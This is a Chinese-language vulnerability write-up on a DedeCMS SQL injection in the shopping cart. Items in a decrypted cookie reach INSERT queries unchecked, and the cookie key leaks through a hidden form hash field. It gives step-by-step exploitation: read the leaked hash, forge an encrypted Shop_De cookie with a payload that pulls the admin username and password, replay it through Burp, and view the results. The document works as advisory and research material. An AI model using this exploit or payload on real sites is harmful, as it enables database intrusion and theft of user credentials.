发布时间：2016-08-21
公开时间：N/A
漏洞类型：SQL注入
危害等级：高
漏洞编号：xianzhi-2016-08-39374560
测试版本：N/A
漏洞详情
plus/carbuyaction.php
$Items = $cart->getItems(); if(empty($Items))
{
ShowMsg("您的购物车中没有商品！","-1"); exit();
}
………… foreach($Items as $key=>$val)
{
$val['price'] = str_replace(",","",$val['price']);
$dsql->ExecuteNoneQuery("INSERT INTO #@__shops_products (aid,oid,userid,title,price,buynum)
VALUES ('$val[id]','$OrdersId','$userid','$val[title]','$val[price]','$val[buynum]');");
}
$sql = "INSERT INTO #@__shops_userinfo (userid,oid,consignee,address,zip,tel,email,des)
VALUES ('$userid','$OrdersId','$postname','$address','$zip','$tel','$email','$des');
";
$dsql->ExecuteNoneQuery($sql);include/shopcar.class.php
function getItems()
{
$Products = array(); foreach($_COOKIE as $key => $vals)
{ if(preg_match("#".DE_ItemEcode."#", $key) && preg_match("#[^_0-9a-z]#", $key))
{
parse_str($this->deCrypt($vals), $arrays);
$values = @array_values($arrays); if(!empty($values))
{
$arrays['price'] = sprintf("%01.2f", $arrays['price']); if($arrays['buynum'] < 1)
{
$arrays['buynum'] = 0;
}
$Products[$key] = $arrays;
}
}
} unset($key,$vals,$values,$arrays); return $Products;
}可以看到 item来自cookie 经过decrypt之后直接进了sql
再来看看decrypt函数
function deCrypt($txt)
{ return $this->mchStrCode($txt,'DECODE');
}
function mchStrCode($string, $operation = 'ENCODE')
{
$key_length = 4;
$expiry = 0;
$key = md5($GLOBALS['cfg_cookie_encode']);
$fixedkey = md5($key);
$egiskeys = md5(substr($fixedkey, 16, 16));
$runtokey = $key_length ? ($operation == 'ENCODE' ? substr(md5(microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';
$keys = md5(substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
$string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));
$i = 0; $result = '';
$string_length = strlen($string); for ($i = 0; $i < $string_length; $i++){
$result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
} if($operation == 'ENCODE') { return $runtokey . str_replace('=', '', base64_encode($result));
} else { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) { return substr($result, 26);
} else { return '';
}
}
}mchStrCode函数其实就是dz的authcode函数的简化版 虽然简化了 但足够用来防止篡改数据
这里用到的key是cfg_cookie_encode 在安装的时候初始化 用在很多校验用户输入的地方
如果能够搞到这个key 就能伪造cookie实现注入
member/inc/inc_archives_functions.php
function PrintAutoFieldsAdd(&$fieldset, $loadtype='all', $isprint=TRUE){ global $cfg_cookie_encode;
$dtp = new DedeTagParse();
$dtp->SetNameSpace('field','<','>');
$dtp->LoadSource($fieldset);
$dede_addonfields = '';
$addonfieldsname = ''; if(is_array($dtp->CTags))
{ foreach($dtp->CTags as $tid=>$ctag)
{ if($loadtype!='autofield' || $ctag->GetAtt('autofield')==1 )
{
$dede_addonfields .= ( $dede_addonfields=="" ? $ctag->GetName().",".$ctag->GetAtt('type') : ";".$ctag->GetName().",".$ctag->GetAtt('type') );
$addonfieldsname .= ",".$ctag->GetName(); if ($isprint) echo GetFormItemA($ctag);
}
}
} if ($isprint) echo "<input type='hidden' name='dede_addonfields' value=\"".$dede_addonfields."\">\r\n"; echo "<input type=\"hidden\" name=\"dede_fieldshash\" value=\"".md5($dede_addonfields.$cfg_cookie_encode)."\" />"; // 增加一个返回
return $addonfieldsname;
}可以看到 当loadtype='autofield'的时候 $dede_addonfields始终不会被添加 所以md5($dede_addonfields.$cfg_cookie_encode)实际上就是md5($cfg_cookie_encode)
搜了一下很多地方都这样调用 比如member\templets\article_add.htm
<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" onchange="SeePicNew('divpicview',this);" maxlength="100" class="intxt"/>
</p>
<?php
//自定义字段
PrintAutoFieldsAdd($cInfos['fieldset'],'autofield'); ?>
</div>
<!— 表单操作区域 —>
<h3 class="meTitle">详细内容</h3>
<div clamd5($cfg_cookie_encode)刚好就是mchStrCode函数的$key
$key = md5($GLOBALS['cfg_cookie_encode']);
具体操作
注册账号（或者系统开启匿名投稿）
<label>缩略图：</label><input name="litpic" type="file" id="litpic" onchange="SeePicNew('divpicview',this);" maxlength="100" class="intxt"/></p><input type='hidden' name='dede_addonfields' value=""><input type="hidden" name="dede_fieldshash" value="e344ea979d3dbdc2e9bf1c3541e63308" /> </div><!— 表单操作区域 —><h3 class="meTitle">详细内容</h3>得到md5($GLOBALS['cfg_cookie_encode'])=e344ea979d3dbdc2e9bf1c3541e63308
3.用这个key生成cookie
$inject = 'id=82\',\'.``.aid,8, (select concat(uname,0x3a,pwd) from dede_member where mid =1),1,1)#';echo urlencode(mchStrCode($inject)); / 记得先把mchStrCode函数中的 $key = md5($GLOBALS['cfg_cookie_encode']); 改为 $key = 'e344ea979d3dbdc2e9bf1c3541e63308'; ———————————————— $inject中的id改成物品id aid,后面的8改成自己的uid
去前台随便找一个商品添加购物车 下一步 随便填收货信息 下一步 burp拦下来
修改cookie值Shop_De_xx=为上一步生成的cookie 发送
访问 http://192.168.1.170/dedecms/member/shops_products.php?do=show 查看注入结果
view.png
作者：索马里的乌贼
链接：https://www.jianshu.com/p/3ffb4686327e
随时随地看视频
